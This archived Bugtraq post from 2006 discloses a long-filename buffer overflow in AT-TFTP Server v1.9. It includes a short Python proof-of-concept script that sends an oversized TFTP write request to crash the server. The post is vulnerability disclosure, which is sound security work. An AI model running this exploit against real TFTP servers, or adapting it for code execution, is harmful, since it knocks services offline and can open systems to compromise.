bugtraq - TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20061126123041.23704.qmail@securityfocus.com>
Date: 26 Nov 2006 12:30:41 -0000
From: liuqx@...c.org.cn
To: bugtraq@...urityfocus.com
Subject: TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability
 (Long filename)

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

------------------------------------------------------------------
SUMMARY:

AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp) 
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which could be exploited by remote or local attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system or crash an affected application.
----------
DETAILS:

 Vulnerable systems: AT-TFTP Server v 1.9 and probable prior
 
Exploit:

#!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"	    
    sys.exit(1)

filename = "A" * 227 
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))

------------------------------------------
Liu Qixu
NCNIPC